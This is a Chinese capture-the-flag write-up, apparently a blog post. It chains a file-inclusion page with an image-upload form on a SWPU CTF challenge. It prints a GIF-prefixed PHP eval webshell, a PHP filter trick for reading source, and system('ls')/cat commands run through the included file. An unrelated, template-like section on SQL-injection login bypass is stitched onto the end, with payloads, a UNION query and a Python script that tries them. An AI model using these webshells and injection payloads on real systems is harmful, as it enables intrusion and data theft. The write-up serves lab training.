文件包含结合文件上传靶场练习(swpu_ctf)

有提示include.php

访问后有代码

代码对 $file 参数进行了多重过滤:

  1. 正则表达式过滤preg_match('/http|test1|ftp|input|%00/i', $file)
    • 禁止包含以下字符串(不区分大小写):
      • http
      • test1
      • ftp
      • input
      • %00(空字节)
  2. 路径遍历检查strstr($file,"..") !== FALSE
    • 禁止包含 ".." 这样的路径遍历字符
  3. 长度限制strlen($file)>=70
    • 文件路径长度不能超过 70 个字符

 

他这里只写了个可以包含问件,但没有自动给你包含flag或是其他文件(文件路径自己写)

还有一个提示为upload.php 访问后是一个文件上传的页面

 

 

上传个木马试试,但发现只能上传图片(白名单),那就不改后缀名直接上传图片马。

我这里上传的木马是GIF89a <?php @eval($_POST[w]); ?>

 

但我们不知道上传后的文件去哪儿了。

 

用文件包含页面结合php伪协议读一下该页面源码试试

 

解码得到

<form action="" enctype="multipart/form-data" method="post" 
name="upload">file:<input type="file" name="file" /><br> 
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILE["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload_123/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in: ??? ";
    }
    else
    {
        echo "upload failed!";
    }
}
?>

 

php文件上传靶场里都有该函数,将临时文件移动到最终目录里面,由此可知上传后的文件在upload_123中,也没有对你上传后的文件名做处理

那我们访问验证一下

 

 

能访问到,说明对了 现在就可以去文件包含一下我们上传的图片木马文件了

(之前需要用伪协议是因为我们要看的是一个php文件,但直接写file=upload.php的话他会再次把php文件当php的形式再解析一次 导致看不到,而使用伪协议的话故意用编码破坏他的php格式从而使得我们能查看)

 

 

直接输入文件路径发现包含成功且被执行

(因为直接包含后的文件他自动当作php文件来解析,所以不用伪协议)

 

如果直接ls根目录/的话再用命令去找flag的话会很麻烦

就像这样

 

但我们知道,访问网站一般是访问/var/www/html下的文件

所以可以不用绝对路径,直接写一个system('ls');查看相对路径下的文件

 

最后用cat命令就找到flag了

 

**************************************************************************************************************如果要连接蚁剑的话需要以下操作          (POST传参)

在请求信息里面添加HTTP BODY 

 

 

### 关于 SWPUCTF 2021 新生赛 easy_sql 的解题思路 SQL 注入是一种常见的安全漏洞,攻击者通过向应用程序输入恶意 SQL 查询来获取敏感数据或执行未经授权的操作。对于 SWPUCTF 2021 新生赛中的 `easy_sql` 题目,其核心在于利用 SQL 注入技术绕过登录验证机制并访问隐藏的数据。 #### 登录绕过的常见方法 通常情况下,题目会提供一个简单的登录表单,其中用户名和密码会被拼接到一条 SQL 查询语句中。如果未对用户输入进行适当过滤,则可以注入逻辑条件使查询始终返回真值。例如: 假设原始查询如下: ```sql SELECT * FROM users WHERE username='input_username' AND password='input_password'; ``` 可以通过提交以下 payload 实现绕过: ```plaintext admin' -- - ``` 这会使最终的 SQL 查询变为: ```sql SELECT * FROM users WHERE username='admin' -- -' AND password='input_password'; ``` 由于双连字符 (`--`) 表示注释掉后续部分,因此无论实际密码为何,此查询都会尝试匹配名为 `admin` 的账户[^1]。 #### 提取 flag 数据库字段名猜测 除了基本的身份认证旁路外,在某些场景下还需要进一步探索数据库结构以定位存储标志位的具体位置。此时可采用联合查询 (UNION SELECT) 或错误基注入等方式枚举列数以及对应的表/列名称。 比如当得知存在额外的秘密信息时,可能需要试验不同的组合直到成功检索到目标记录为止。下面给出了一种通用形式用于演示如何附加其他参数至原请求之中从而揭示更多细节: ```sql 1 UNION ALL SELECT null,table_name FROM information_schema.tables-- ``` 以上仅作为理论指导框架,请依据具体环境调整相应策略完成挑战任务。 ```python import requests url = "http://example.com/login" payloads = ["admin' -- -", "' OR '1'='1"] for p in payloads: response = requests.post(url, data={'username':p,'password':'irrelevant'}) if "Welcome" in response.text: print(f"[+] Login bypassed with payload: {p}") break ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值